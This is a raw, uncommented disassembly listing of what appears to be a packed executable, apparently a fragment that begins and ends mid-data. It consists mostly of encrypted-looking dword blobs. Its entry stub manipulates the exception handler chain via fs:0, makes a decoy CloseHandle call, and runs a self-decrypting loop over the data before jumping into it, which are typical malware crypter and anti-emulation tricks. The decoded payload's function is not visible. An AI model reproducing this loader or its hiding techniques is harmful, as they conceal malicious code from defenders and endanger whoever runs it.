0D1F78BA3h dd 0C6885EEAh, 7384F92Ah, 5F807C62h, 1BFF37CEh, 0A710CA74h dd 19348596h, 3AEED6E1h, 736FFD24h, 0FF2CC8D9h, 0DC64758Bh dd 254F99C7h, 0F7597AFEh, 1498DF89h, 194319EBh, 69E27232h dd 30FB2DEEh, 77BED434h, 42F38DE9h, 0EF05C7A6h, 4ABCF7DEh dd 7DA771EFh, 0B9C98456h, 62F037DDh, 1FAB7C16h, 57687EF9h dd 0F250BABFh, 9813F1D8h, 0BB6D70C1h, 0F85C532Bh, 0E22C9A05h dd 343FE1C8h, 7B829860h, 0BB4799EFh, 0F3041A71h, 34399AB5h dd 6B728C1Eh, 0F891A0Bh, 0E3F30505h, 1945C002h, 0E06C7399h dd 2BAC488Ah, 5CE4F50Bh, 0A5CF3547h, 0DEC4307Eh, 921829D9h dd 488BDD31h, 7FC6D931h, 2B4C5D6Eh, 7C0B1FBFh, 0B3BAE53Fh dd 30836375h, 0CC73FEB5h, 6888E93h, 1E1CC5ECh, 0EA70816Ah dd 0A02F3909h, 0D71E09A3h, 0D4A707D9h, 30D76219h, 0EA94B2B7h dd 0D69BE9D0h, 9C9A704Dh, 72CD9615h, 3E832C16h, 8098DCDEh dd 765CD601h, 6E6AD212h, 849A36F5h, 813BE66Eh, 83A68692h dd 0AA5C8CCDh, 1DEF11D0h, 5FEC46BAh, 362DAC55h, 6BA56C03h dd 8EDCE30Dh, 77BC7D35h, 0C5D3A589h, 0FF10217Ah, 660B6831h dd 2B3526A5h, 4F444B74h, 0B833F09Dh, 0BD5DC97Ah, 3EE2C5A0h dd 8D143158h, 0CBE45DDEh, 5860ABDAh, 0BFDD7956h, 149F7E29h dd 14A836CFh, 6897E1BEh, 47AA2C2Dh, 2207AA35h, 0C24BE081h dd 0C945F4BBh, 5DCC682Dh, 0D0B354F5h, 0FD951419h, 0A87119Dh dd 0DE65C869h, 0F2E6F859h, 7E1FD156h, 8E3C7ADDh, 9B2708FEh dd 0F293340Bh, 0BCF88C95h, 608B2CCCh, 6302912Ah, 0A46C24C5h dd 8EFFA040h, 0DA7A09F2h, 5FDA4C39h, 0B3C4D5DCh, 4EEFF43Ah dd 2B3CF5ADh, 6845091Ah, 79A7C2B3h, 62BB6A92h, 0BAD03D4Eh dd 5B9D84DCh, 37A4ABD5h, 0D04693FBh, 1AE67A4Ch, 0C7DB2D7Fh dd 5FE230B6h, 0C0363F75h, 0AD16D39h, 0B7CB8D6Fh, 69C7CCA6h dd 2F407162h, 0EE63921Dh, 6AAEC9DAh, 0E77387C2h, 1F3044BFh dd 0B8E44089h, 3748592Ah, 56E3F985h, 2F4D3142h, 0DABCCD1Eh dd 879B2D3Eh, 61BD8D76h, 810F20C1h, 0BBCCE0B7h, 96403E2Dh dd 0BE44557Ch, 397B1964h, 0BEFDB8CEh, 0D238BC9Eh, 0ACEC485Bh dd 6469114Ch, 9BA2BC4Ah, 0EF64438Dh, 13253546h, 0B67AD933h dd 8C6C0Dh, 478EA1F7h, 580405C7h, 0BF061970h, 44BA7D88h dd 9F5C5112h, 12B33C96h, 23BFA367h, 3C9E60E0h, 3D60D8CFh dd 0FA993016h, 0B5D85057h, 5B6C7D8Eh, 6E4A2D4Bh, 0A9CC848Bh dd 8FA0B4C2h, 0CC58A27Eh, 1D40B89Fh, 0E28324F6h, 8A8C3Dh dd 1134ECEBh, 0F708192Ah, 0B3CA7DDEh, 0D74991A2h, 2B3C4D64h dd 4E3A71C2h, 282E04A5h, 5FA6B919h, 0A206C1D4h, 5FE82FD2h dd 698C3C4Bh, 26C05382h, 0E104BCC3h, 0C7D8F1FAh, 38D5AB6h dd 5578EABFh, 0C0C01E2Eh, 0CF475E01h, 738495BCh, 2A345962h dd 0C3838A9Eh, 7BBDC9B0h, 0EBE10526h, 2430771Ah, 386C64E2h dd 97DEF143h, 6AF2298Bh, 2548C0C7h, 0CBDCEDFEh, 7919D3Ah dd 193CEC03h, 88072332h, 9A084271h, 0DF889980h, 52F3886Dh dd 0CE6D72BAh, 0AD6C752Dh, 0E4F3899Ah, 232A44CEh, 0FE6C9E15h dd 0B4C4BDE4h, 6657F896h, 132605CAh, 53957C02h, 169CA3CDh dd 855BA528h, 22C1DF0Eh, 0D952F081h, 0FC8C9DB0h, 37A87D24h dd 117F3526h, 9C32714h, 5B269092h, 3FB7CE71h, 0E3F4052Ch dd 93A5D1D2h, 3ABCFA07h, 0ACA53920h, 0D3DAED72h, 7F793E3Dh dd 0AF8F6D94h, 113FE2F1h, 1851E5F6h, 7FC6B1B2h, 3BBDC2C1h dd 9BFB1B4Dh, 8B435ABDh, 6F809178h, 0AF3B5D5Eh, 0E7F80978h dd 0CB8C78A5h, 3EDF6FE8h, 0FA6CD2C9h, 96DF9E0h, 932C39C5h dd 0E4DB7182h, 0B122CC2h, 48E8B375h, 83B489F0h, 896B4172h dd 0CE0E5026h, 0AB3ADC23h, 639D22B1h, 0BCBB5138h, 0EBF21DF7h dd 0C3339F6Ch, 0CD908BAh, 1F307742h, 0DB856491h, 22A8B9CAh dd 1D657DD0h, 9697343Ah, 43617855h, 0DE98DF89h, 193CF4FBh dd 0FF106132h, 52CE11EEh, 83FA9C92h, 88BD457Fh, 0EF3650DEh dd 0AC940059h, 0F6FD006Ah, 0E3343B5Eh, 33F00112h, 0CCB474D0h dd 0B65442A2h, 1FBF0E15h, 0FAF86405h, 0C16DB990h, 0A70D8Dh dd 0DBA09AB3h, 5C49E1C8h, 7B829CDEh, 0F597FD7Dh, 80960625h dd 0AFC0A669h, 0F811879Eh, 0FC387F22h, 7BC6AE1Ch, 27C2F508h dd 0B3842D3Eh, 0D117B874h, 0D6E0BF81h, 1417C1FCh, 4B5265FDh dd 0F718293Ah, 58D9A673h, 4B0D2AA5h, 3E4C537Dh, 0D1802AFh dd 5C2B58E6h, 6F8091A2h, 0B4149079h, 0E7F8DDA1h, 6F39FCD6h dd 6070B75Eh, 2F2C3D4Eh, 0DF2B4011h, 0F3041566h, 67DFF619h dd 0B1C2D54h, 0CE4C69FAh, 9ABECDE8h, 0CA1A6001h, 0D1FBE9ABh dd 40CD3CEAh, 801F7DE1h, 4E78DEDDh, 0ED1F0D34h, 7233CCF5h dd 0F2F9BCAEh, 2230771Ah, 0EFECFD0Eh, 0C72D44BEh, 56646B95h dd 254FEDBFh, 2361F0FEh, 8898DF89h, 338EF06Eh, 1E88A6ADh dd 5B5DD04h, 8B8CA2h, 0F5455DA0h, 27E39412h, 1B4158DEh dd 4F78BF69h, 23342DC2h, 18E84313h, 257C00CFh, 6D9006FFh dd 0A2A96C46h, 0CFE027CAh, 9FACADBEh, 30D56C80h, 59141B26h dd 4E55D8F2h, 7B8C93B6h, 0C485B6Ah, 0ACA531Ah, 0C5E86067h dd 6F7C8D9Eh, 0B13E3E5Ah, 0B9DC93ABh, 2E35B8D2h, 5B6C7396h dd 0EC28390Ah, 0D5EB7F01h, 45A25B84h, 547724E0h, 494A30B4h dd 0E5AAE790h, 0E3E2D449h, 0CAF03FE9h, 948BF12Ch, 0B3BAD43Eh dd 2D04A0A2h, 0CA6B0CA8h, 0FD278D6Fh, 14904D6h, 3E70B75Dh dd 0F11BBDE3h, 0E97D780Ah, 20A4ABD1h, 658FDDFFh, 1FB1BA3Eh dd 78D81FC9h, 0A2944FE8h, 557FC9C7h, 4DA1DC2Eh, 16C80FB5h dd 49733D3Bh, 41D55062h, 78FC0329h, 0BDE69D2Fh, 7E9C496h dd 55307721h, 0B64A925Dh, 3C2BB9A0h, 535A74DEh, 0F78F442h dd 8DCEDFEh, 0F419AA54h, 434A5CE0h, 0C00F115Ah, 91E11573h dd 0BA481EAAh, 43F39DE9h, 4785D221h, 6EBCC3D3h, 91789967h dd 0C940FA56h, 0EB147D93h, 8E61EEAAh, 0B62CE12Ah, 18597415h dd 0AE4AC59Ah, 2AEE550Dh, 75B9E889h, 0B93C1205h, 0E478F3C6h dd 9B8C9DAEh, 9637FE82h, 7EEDCAF5h, 3CF0F526h, 416AE133h dd 2F88D45Ah, 0E9DE867Ch dd 0D5D534D4h, 0FA6C7D66h, 1ECC44Ah, 0F234C706h, 0A5CBAF37h dd 53A0F07Eh, 266467BBh, 0C609C105h, 67946735h, 0DA7B17EFh dd 56F71842h, 0B8776B5h, 6F8091B6h, 1AA4BEB9h, 4FF8091Ah dd 0A3B4C5C3h, 0F770A154h, 1B2C3D5Eh, 0D7E80922h, 9388F7C6h dd 4F61F6CAh, 0B1FD53Eh, 0F39AE9FAh, 67E832B6h, 0C26E2E6Eh dd 0F4B81D76h, 0B7C8418Ah, 27FF95A6h, 0BA0D8146h, 0FC198E08h dd 0FB8FFA2h, 8223A64Ah, 1F340373h, 0E0F3FF11h, 3E4DBAD0h dd 103C27B0h, 906C4689h, 6401CE26h, 0C2h, 15AEh dup(0) assume ds:_data ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near push ebp mov ebp, esp call sub_1010817 call sub_1010894 mov ebp, 1F8B2D9Ch ; DATA XREF: sub_1010817+6w jmp loc_1010856 start endp ; =============== S U B R O U T I N E ======================================= sub_1010817 proc near ; CODE XREF: start+3p push dword ptr fs:0 mov dword ptr ds:loc_101080D+1, ebp mov fs:0, esp xor edx, edx push edx push 80000000h push 40h push edx push edx push 1000h push 80000000h push edx push 2 push edx push edx push 2000h push edx ; hObject call ds:CloseHandle ; CloseHandle loc_1010856: ; CODE XREF: start+12j mov edi, [ebp-8] mov fs:0, edi sub edi, edi sub ecx, ecx mov cl, 9Eh loc_1010865: ; CODE XREF: sub_1010817+4Fj inc edi loop loc_1010865 call $+5 pop ecx sub ecx, 0FFFFFFCCh push ecx xor ebx, ebx xor ebx, 289Ch loc_101087D: ; CODE XREF: sub_1010817+76j mov al, [ecx] sub ax, di cld cld mov [ecx], al inc ecx inc edi sub ebx, 1 or ebx, ebx jnz short loc_101087D pop ecx leave jmp ecx sub_1010817 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1010894 proc near ; CODE XREF: start+8p arg_C = dword ptr 10h mov ecx, [esp+arg_C] xor eax, eax pop dword ptr [ecx+0B8h] retn sub_1010894 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 86h, 9Fh, 0A0h dd 2F9BA2A1h, 31A3CAA9h, 0ACDA7941h, 3A2FA5ADh, 0B4B3B2D9h dd 4337B6B5h, 30BFDE15h, 704817EAh, 0C4C3F194h, 9F47551Ch dd 4CCBCAF8h, 0D0F75C85h, 0E148BAD1h, 666ED8h, 3766DAD9h dd 0CB12DDDFh, 747B6DE9h, 0E7E7E60Dh, 7740451Ch, 145B6FD5h dd 0F47398F5h, 0FDE477F5h, 87FB3009h, 8D032279h, 3A3B9EB6h dd 807BF05h, 0B0FE0A09h, 100F5CF5h, 0FCDB9D11h, 1817165Ch dd 338FDB44h, 20201E5Ah, 0F9A8AF21h, 9F275C35h, 1C7BB433h dd 302F6015h, 2B721D31h, 6E6FC5BAh, 3C3B3A39h, 0CD5DB2BDh dd 7A7BD5F6h, 6CC3D145h, 0D7F0EE4Dh, 868E2602h, 3010DD51h dd 0E3578C94h, 929A2EF6h, 6F22BB5Dh, 0EE4F2592h, 8F211F57h dd 7C9B6A69h, 52AF446Fh, 0AFE0356Ah, 0EFDAB639h, 0E87D956Eh dd 1C0EF7C9h, 1CCAC35Dh, 0C5E3F60Ah, 875A3564h, 0B9697A34h dd 0C1BC623Dh, 8E3513Dh, 66E2CD90h, 10D5B921h, 592055F8h dd 0F161D9ACh, 0D4A34C75h, 6C07BEh, 4D4221C2h, 22507A55h dd 0B7CCF357h, 2397DACAh, 5FB8A667h, 14B2453Ch, 0B0417543h dd 6C06F9B4h, 847255E4h, 0E0F3061Dh, 0A77E6690h, 0E6FCB69Eh dd 0FC2C0E11h, 29F1F53Ch, 3AA27C1Ah, 1820A651h, 9EA2F205h dd 0E5DFC796h, 5224102Ah, 0BBFB4F4Dh, 2128182Ch, 507151B7h dd 41737E5h, 0ECE8A5F1h, 4032F3E9h, 7F855816h, 63BAFA9Fh dd 7218378Fh, 144F9890h, 0F00319ECh, 28AE8A5Ah, 7F2DD94h dd 16AC3175h, 45D3BC34h, 0F504A9EDh, 0A83B4E64h, 0F2FC30AAh dd 0A470B7C9h, 1323DF14h, 75911E1Fh, 0ACADE70Bh, 75EB0B20h dd 1B823A1Bh, 0DD539384h, 0FF8FA2C3h, 6630EE06h, 497A0A1Dh dd 9879B385h, 0CCBCF585h, 13FC46h, 6744209Ch, 697BA4B3h dd 2715F7DEh, 8558F637h, 84C5BF49h, 0A5C0A764h, 0ECED4D6Fh dd 1E8BA68Ah, 83677A90h, 0F395A3F8h, 9490E203h, 0C4FFA5C0h dd 9F374A5Dh, 1805F2D0h, 8C3775C8h, 0B94B6689h, 0CA32DCAAh dd 47C736E1h, 5C898295h, 3B65AB40h, 454EACBh, 7A2122B8h dd 0A9CE5265h, 16E306C6h, 0DDFE45CDh, 485B7936h, 0EC0F8FB6h dd 4538D617h, 64A59CD0h, 0BAB2E384h, 47BFDE88h, 0B38BD02Dh dd 0A9BC33ADh, 0E8C90916h, 682A6D28h, 0BE532D12h, 9C66467Ch dd 0B8CCDEF4h, 7741277Ch, 0E4B64687h, 0D3277FEDh, 889D2D3Dh dd 3C69F975h, 0F0DB1793h, 3C37CAD9h, 586C7E91h, 17E1C71Ch dd 8050E627h, 76091EB4h, 28D54E61h, 0DCEFEAC5h, 907DB6C5h dd 0FB4B123Eh, 103B1FDBh, 0ACC0D2E6h, 8BB5FB10h, 0EFF3A1Bh dd 0F7DBEF01h, 927A6422h, 30407E69h, 95D00A1Dh, 0B2ABBED3h dd 4682CB85h, 95DA3023h, 0B4F5D53Bh, 0EBBE5F4Ch, 321A24EAh dd 54DAF609h, 8497AC89h, 384B6499h, 0B0CB6025h, 8FB3129Dh dd 2A9238FAh, 4668BB41h, 0CFCF18E4h, 0AA082372h, 75374038h dd 0E837117h, 0F9FB2C7h, 765E042Eh, 78FE1A2Dh, 0A8BBD0E1h dd 67250720h, 6A3677h, 0EA5479FEh, 0F38BB4A0h, 422A38E2h dd 0E143A519h, 5CDA3F54h, 0CDD66E6Fh, 0FCFD5D67h, 2FC466E0h dd 3A9F841Ah, 0EEA0C951h, 2FDF2820h, 81E445D3h, 0FC06DFF4h dd 65760E0Fh, 9C9DFD0Bh, 41AA7F6Ch, 0B894B93Eh, 50CBF4E9h dd 6C7F933Dh, 4C5FA3DEh, 9362FADBh, 0D1A9AEEBh, 0BF4B52CCh dd 0B0DD190Ah, 3E0683E0h, 0D5536891h, 222C0DD2h, 0C0BC3FF9h dd 78FC9AADh, 57422CA6h, 594AE86Ch, 90A383C5h, 9FB56A7Dh dd 5307E5B6h, 2134B6F7h, 60816199h, 16A0E0B1h, 0A5E991Fh dd 0F73C04B7h, 8430035h, 0E4F739A9h, 98C50A5Ch, 4CF93610h dd 132621h, 0E58784F5h, 3871F8F3h, 27F9D7ACh, 538BF637h dd 98EFEA79h, 0B34B5E18h, 67FF7CD1h, 0FAF3F01Dh, 8669248Dh dd 3CB32E6Bh, 16CFE2DCh, 0DF5D47A9h, 46C4098Dh, 27EB140Ch dd 8BC637FEh, 40546DF5h, 0F4B4A72Dh, 11BBE4F1h, 5C6F8DEAh dd 0B57665D4h, 0B4D7977Eh, 0FD009E9Fh, 2C2D667Eh, 3423A690h dd 23819A77h, 3375E338h, 0BC8C2243h, 8CF6B40h, 64778BCDh dd 182B2F79h, 907C4505h, 0E7E0C896h, 4A200C1Dh, 8F987A4Ah dd 74FEC2B2h, 50637BDAh, 0D35F9FD4h, 4D52DEDFh, 6C6DCD0Bh dd 52A0E528h, 0EEE7F0E8h, 0B79D18C1h, 523A44E2h, 0F11B6F29h dd 7F46CADDh, 3C5F07B2h, 81468971h, 0C0E1C197h, 0D90AD080h dd 28096AA3h, 0AB3ED615h, 0C6AE2056h, 0D817EF7Dh, 0A68EE4CFh dd 0FBD544E1h, 0BA6B6A85h, 0A341E44Dh, 0BEA6908Eh, 0D04F27B5h dd 0A99BC93Dh, 0B7F70A1Ah, 824E2F1Ah, 5821F79Eh, 32602667h dd 98E3966Eh, 1B0DE1C4h, 0DDB06A21h, 0D0E304A1h, 3AE7FEEDh dd 8B7B0E42h, 0F7C9A7FCh, 6030C607h, 0E35E2E46h, 8713526Dh dd 0D2B3A472h, 0DDC0BEA9h, 338A09F4h, 0CEB6109Eh, 0D159DC5h dd 40544EB5h, 696EF12Dh, 0A889E9D3h, 676117ECh, 0E87C3677h dd 0C4BEA998h, 928B888Bh, 63FBC65h, 0E0F42E19h, 5822BAC9h dd 0E20B6EABh, 0CBCBAD39h, 7F8B8CCBh, 37778A69h, 0C7D5A69Ah dd 4154F1DCh, 80A19B81h, 64182B1Fh, 0D3C983D8h, 6032C2E3h dd 9D8B9A9h, 0AC5F823Dh, 0B8A232F1h, 6C75F5A5h, 20334759h dd 0D4E7FA0Dh, 889BAEC1h, 3C27F175h, 0F0031629h, 57051BDDh dd 4331F3C8h, 0B57A3253h, 35936A9Dh, 37DDBCC8h, 31C8C3E6h dd 0AB410223h, 0C6AE2C56h, 0ECD4F37Dh, 900B3428h, 0ACBFD2D3h dd 0BBCAB55Dh, 26F7EADAh, 6474442Ah, 0B2AC8992h, 151002CAh dd 0F3470A5Eh, 8E76DC5Eh, 0F8DCFB85h, 0C313FC70h, 0C7A89CA1h dd 51CDCBEh, 7E662632h, 0C4C69B73h, 18E506D0h, 6C6E4344h dd 0C0B27E25h, 0FE10F2CBh, 79593D8Dh, 0CEB88262h, 0FDECCEDEh dd 555559A9h, 0EA947E7Eh, 1508EABAh, 654F2226h, 40948D5Fh dd 15E4CCF0h, 5A6B330Dh, 0AF8C657Ch, 0D323F7BCh, 58380F0Fh dd 95A8504Eh, 0E0DCC6CCh, 41501801h, 0A66ABA69h, 0EDE7CF9Eh dd 61410AE1h, 73C37A4Ah, 0F8D8AFAFh, 3742F2EEh, 0A87C5A69h dd 0D3A579A9h, 4737FB13h, 0E8877D49h, 0F0C8BA92h, 35351ED5h dd 0CA174E5Eh, 0CE8CA9Ah, 201CFF0Eh, 937C7940h, 8BC9F99h dd 88381BEAh, 0A16C5433h, 0E2E5BF6Dh, 0A420FCFEh, 9E776350h dd 0CDBC9EAEh, 1925FAE5h, 99734F4Fh, 0EF3B8F94h, 352DF6F2h dd 69565B2Dh, 0B578F97h, 1149F2CEh, 858B3749h, 0A773AB7Eh dd 33DCEEEAh, 6D6F431Dh, 0E0A5837Dh, 3004FBCDh, 98632F5Ch dd 0DEBBAB6Eh, 0AFCDEEEh, 4170531Ah, 0C8A4A1EDh, 1810F3EDh dd 745B2305h, 0B5A2F64Ah, 16F400C9h, 56624724h, 0C09C5925h dd 1305EBA7h, 993D2936h, 0CF1B6F79h, 1B1DD6D2h, 55582B0Dh dd 0C39578A6h, 0C0CEBC3h, 4D35212Eh, 0A1AAB279h, 16E0E6C9h dd 514D2F13h, 0BDA48256h, 0F5FCECB9h, 8A35390Ch, 78A88A5Ah dd 0ADCC2ACh, 45472FD7h, 0A4975B92h, 9FADCAAh, 613FF135h dd 8F95864Fh, 0F7EAAFC0h, 373DEE51h, 9F925768h, 0D9D178ECh dd 34330DFFh, 8B926071h, 0AFE2B5B2h, 384044BBh, 0A96A2A49h dd 0D4E4A49Dh, 402BD302h, 95956F4Bh, 15DA9F99h, 3C38E1C1h dd 0A1634B33h, 0D5D8BF75h, 490B1DDDh, 0AB6B4E2Eh, 0F1CBA59Eh dd 1D2C1ADEh, 0BA5E6E4Ah, 0FCD8BA8Ah, 0DC0CEFFEh, 71786416h dd 0E9B0C08Dh, 3E29EDE0h, 0AC5C3E4Eh, 0D4C5AF67h, 55FBDBDAh dd 6B725A25h, 0D5C179B5h, 901FBD5h, 0A2F72F41h, 0B2C77F7Dh dd 0FC0BE5D2h, 59614F2Bh, 0D9A67F91h, 312C2D4h, 5A2F3032h dd 0B5B5B975h, 4AF4DEDEh, 38684A1Ah, 0BEC2866Bh, 5FFE7B6h dd 773E2C3Dh, 8AE815Eh dd 0E12D6BBh, 554F3706h, 0C78E7C8Dh, 1DFED1AEh, 6055B21Dh dd 0A1B0783Ch, 19DABFB9h, 47542204h, 0B0A5827Bh, 0F100C88Ch dd 57240F09h, 0AABB704Eh, 0FFDCB5CCh, 5429060Ch, 0CA975B92h dd 7EAD3AAh, 5F2CF513h, 8E9A7F55h, 23E3D89Dh, 5E412301h dd 0CC7C5E6Eh, 0F0CABA7Fh, 4617080Ah, 9B987148h, 0F7C696A8h dd 0E6324E6h, 0A9877949h, 0DBE89197h, 4A16FBF1h, 707F9459h dd 0F9D3A99Fh, 214902E4h, 9D7C5647h, 0CDE0E38Dh, 0A420FC04h dd 8D9C5257h, 0C5C8A4A2h, 322A0CDFh, 8D733B52h, 0C7E7BC88h dd 0DC05E700h, 82524A0Fh, 0FAB49EA6h, 2D17F0DAh, 91743E46h dd 0C9C5B57Eh, 30130C4Dh, 6B745C4Eh, 0AFAC869Ch, 0E1CE8D5h dd 0A54E5E3Ch, 0EBC49177h, 2AF8E4D1h, 53422618h, 0D5B3ADAEh dd 1808E2D3h, 7B432555h, 0AFB69B7Ch, 18F4D5E0h, 56624171h dd 0C0A2778Bh, 1410EDD9h, 685A2935h, 0A9B18763h, 0ECFC7DAh dd 70513906h, 0C88D6F70h, 0FB02D111h, 8C4B1730h, 0A59F9442h dd 8E4C8BFh, 5B523A24h, 0BA904A72h, 1000E2A5h, 69431846h dd 0ACA88C63h, 0EFEBB7A4h, 45493400h, 0B8846E70h, 0FCFCC2D4h dd 5A482212h, 8E957B55h, 0F4AEBEBAh, 186C2CEEh, 0B18B604Eh dd 0F4F0D4ABh, 52240A34h, 0A98F606Eh, 0F0C58BD5h, 353908E6h dd 0A5747C49h, 0D4E4A48Dh, 30409202h, 59638727h, 18FDECE0h dd 5A9BFA05h, 98924952h, 0ABE0A990h, 56B703FAh, 88A2652Eh dd 0F1DAA0A2h, 11B2BF2h, 9B646CADh, 0DAD8A3B2h, 3810D8EEh dd 78605B36h, 0E9A96ABEh, 2C28D1D0h, 81533313h, 0A1BBCB76h dd 0AA5A104Dh, 9E89F02Bh, 7DA9F640h, 381575BBh, 9084C94Bh dd 13ABD4C8h, 22DC841h, 70DA5C09h, 6E5419E5h, 0EB7BA49Ch dd 0DE755291h, 8958F611h, 354F9558h, 384B5E19h, 10B39F0Dh dd 0FAB3F0DCh, 87374B8Ah, 4496336Bh, 0EC9B6DA5h, 414340F5h dd 991E9D8Fh, 0D8B91943h, 0DB937648h, 765E0006h, 0EC439D2Dh dd 0A8285BA4h, 6F6FB8B0h, 0E223E012h, 96D7DA25h, 0C94729B1h dd 0DCFFBC96h, 63DB30EAh, 0AE73C20Dh, 0DD629E87h, 0FCFD5D9Bh dd 0E3E31A6Ch, 63370F4Fh, 0E2BA80EAh, 0F21153Dh, 585A7988h dd 0C3AE99AEh, 0E8589228h, 0F4FFC2D5h, 50632575h, 471FEC8h dd 0F8E52A7Ch, 5C7F920Dh, 72357059h, 68BFFAB7h, 229BAEE8h dd 6CA23375h, 1B658B20h, 4DFECAABh, 433DF3C8h, 5B9C3253h dd 3D4EF7E5h, 74B5AF2Dh, 0BDB05A04h, 0DCDD1215h, 6352E7CCh dd 0C9D23C14h, 0F8D93977h, 0D3DC616Ah, 7B4B8699h, 8F8E7964h dd 0BEA6D47Eh, 8E062FB5h, 88435691h, 0F3DEC917h, 835D435Ch dd 0CBD47293h, 130E72h, 432EE315h, 0BEF81958h, 0A12F7870h dd 4D038AC9h, 84AFF044h, 0E6D7C671h, 717A11FCh, 0A0C1A12Fh dd 4F53BA0Ah, 0E0CEBDC6h, 6B67E2F5h, 0EBCAB59Fh, 0D9FAA91Ch dd 0D8EBFE39h, 0E9200FC5h, 40616185h, 797C6300h, 0A889CC79h dd 8DC05646h, 7FD4E799h, 9A02486Ah, 5C8725B1h, 3731E73Ch dd 0A2180647h, 2C74BAC9h, 485B6E81h, 3FA4A3EAh, 8AC3AC04h dd 62041734h, 682B546Ch, 0F0BFBF37h, 39390B9h, 0FB2566A9h dd 0DEE6429Eh, 638F0FD5h, 864E2C06h, 0DE170E3Dh, 0D28E9BF1h dd 6597EA9Fh, 9D334659h, 62819BCFh, 0CBAB038Ah, 4883F75Eh dd 74001657h, 1DF9D2E5h, 4E2F4A1Eh, 4F412945h, 0C0D38EC6h dd 0F54C9AADh, 1E26CB06h, 0C748D15h, 13A38CFDh, 444F4E91h dd 0F854A238h, 840D2E5h, 607388A1h, 1523E2F9h, 5DE2EE01h dd 7C7DDD33h, 0B4B872F4h, 0E4F80EF9h, 98C56ED1h, 4C5F766Dh dd 52455C39h, 292EB1EDh, 6849A923h, 93A48B68h, 0D0E3F705h dd 86F1FBEEh, 504C4842h, 0ACFF1225h, 0DE2065ABh, 0CA677068h dd 0D3A704BEh, 0C0E7B6A5h, 478396AAh, 453BEF4h, 87EBFE13h dd 0A283E032h, 0D09F79h, 0E86A30B9h, 42E75931h, 93C05495h dd 56905597h, 6DD7E0D8h, 4898DE2Eh, 3ECC5193h, 5DF3DC54h dd 0CB797E7Ch, 0C503B2ABh, 0FC1026A4h, 0F0D641E9h, 77C09AC7h dd 685BEEBCh, 7CAF4235h, 0D600458Bh, 0B5475048h, 0E8FD16DDh dd 0C0DB41D5h, 5ED09591h, 0B7172011h, 0A4B15328h, 0AE4492B3h dd 4EB34655h, 1AE8AF17h, 9D1F3B4Ch, 25F26283h, 38BAEh dd 0D5BACAABh, 0DC1DDD5Fh, 0FB974105h, 0BFD3E6FAh, 7488AA29h dd 1201CE61h, 5C2D12E2h, 149AB6FFh, 44576B7Eh, 2DEB3CB1h dd 0BA4018B6h, 0A7A9CF69h, 0D3A2FCDAh, 87DC34BFh, 0D6E0F0E0h dd 3F10769h, 0B0059FB4h, 83D4BEBFh, 7BDC8146h, 7D132639h dd 8ACD666Ah, 7BF8A1h, 1C2F4259h, 652AA959h, 84C5A6ABh dd 384B6A66h, 7B7C2125h, 79B3C6D9h, 54677ADEh, 0DACB4CC2h dd 41C6B8BEh, 70839646h, 802F10E0h, 5CE20B05h, 8C9FB23Eh dd 33A046ADh, 0F3311691h, 0A8BB5A5Eh, 7C642F95h, 3D431669h dd 583411DEh, 64DF7D5Eh, 0ADE3C785h, 3813A50Fh, 0A5946E59h dd 0F85ECC02h, 51E6514Fh, 1F821C51h, 0AEA8999Dh, 182B6561h dd 1BB1D4D4h, 0B69EFC46h, 64874D6Dh, 0AB3E71h, 9CAFC2DEh dd 2E3225C5h, 0A8785961h, 9E383DF1h, 0F17FC8B9h, 53415A99h dd 4648356h, 599BC4B5h, 3C51625Dh, 0C6B4C7A9h, 7E44890Dh dd 0D56B9485h, 222AC9B2h, 79E616F9h, 0A6576B59h, 0BD427FB2h dd 0DCDD3DCBh, 0FFBFBA48h, 1A825CEAh, 78CE7631h, 0C2CC416Ah dd 233C8799h, 15013BF7h, 7BE201B8h, 19C21B1h, 63EDEA29h dd 37C795D8h, 84DBC1DCh, 39CA270Ah, 0AA8E2667h, 0B4C7DBF1h dd 6973182Ch, 0E4324255h, 4BC34134h, 25355D88h, 0DA8A631Dh dd 6FD5FDF2h, 1BE6D518h, 8E251D1h, 0C8B56291h, 8BE9B4A6h dd 9BD50BA0h, 0A1B24A2Bh, 0D8B919AFh, 0A7937648h, 472CE9C0h dd 0F4E1216Ch, 6734CE89h, 9BC2C598h, 0D1D2EA87h, 811B2F2Fh dd 979D815Ah, 0DDC1B8h, 3E4C3DEDh, 0A7966969h, 0FAE8B1D5h dd 50250707h, 0A3957B37h, 10CDB9C6h, 343B160Eh, 9E7C646Ch dd 0F2F4DAB9h, 6C33FF0Ch, 0E8876148h, 0CCAFC2D7h, 50637689h dd 0A87A5C66h, 0DDE4B8D7h, 482FC003h, 636C9459h, 0DEC1DAD8h dd 2D3318F9h, 71495242h, 10B5DB7Ch, 5DEE14FCh, 8E499E57h dd 0E1CBA4AEh, 0C0AB1B03h, 0A1879AADh, 36A13BE2h, 61AD0223h dd 90B1AB30h, 0BEE4297Dh, 0B90B342Ch, 0B86BF1CDh, 15EE8483h dd 1455350Fh, 0A69F9A5Ah, 0FDADCC82h, 2528759Fh, 0AA9C9700h dd 13ABD4C5h, 0F12E74D3h, 85888B17h, 0B4F5D148h, 5F9C1328h dd 95D94263h, 8E571047h, 85486553h, 88E6AD93h, 3B2A3A0Dh dd 0C4F74950h, 98547E95h, 81B36E9h, 0FF0DB5F5h, 2C375ACFh dd 9AC4095Dh, 0D3EB140Ch, 0FF942685h, 2F866863h, 0CA32189Ah dd 3BEBADE1h, 2B1520FDh, 101E5E40h, 8A2AEAFDh, 0CBC25D74h dd 0E8F3968Bh, 7660A519h, 2CA7B0A8h, 77624C04h, 0CBBD289Dh dd 338F5E0h, 3777808Fh, 0C8A8CB9Ah, 7DDF281Ch, 0D0C4D78Ah dd 0C3182B1Eh, 0DEC680AEh, 9CAA2AD5h, 23107689h, 0D64A7C7Ah dd 0F4FFA2D7h, 0E20C91A5h, 0F8331C94h, 0D4E7FA17h, 3A2B01F0h dd 0A27B505Eh, 5FB3166Ah, 7AE2C84Ah, 9EE80791h, 0B1F6860h dd 3548732Ah, 0ED8790A6h, 1EFF9ADEh, 5196D315h, 90B19157h dd 445392F0h, 6D801E31h, 0ACADEB67h, 92F81372h, 0AC273021h dd 0F7E2C3CAh, 0E10CE993h, 30432C7Fh, 8B948D4Dh, 98ABD4E7h dd 3A3C070Ah, 54432667h, 0B4A1DB97h, 687DF6F3h, 91D6C255h dd 0D0F1D237h, 19E16A3Ah, 80C0EB53h, 9EFF481Bh, 5528CCC3h dd 5495982Ah, 0D8CB648Dh dd 3176B4A6h, 709172E3h, 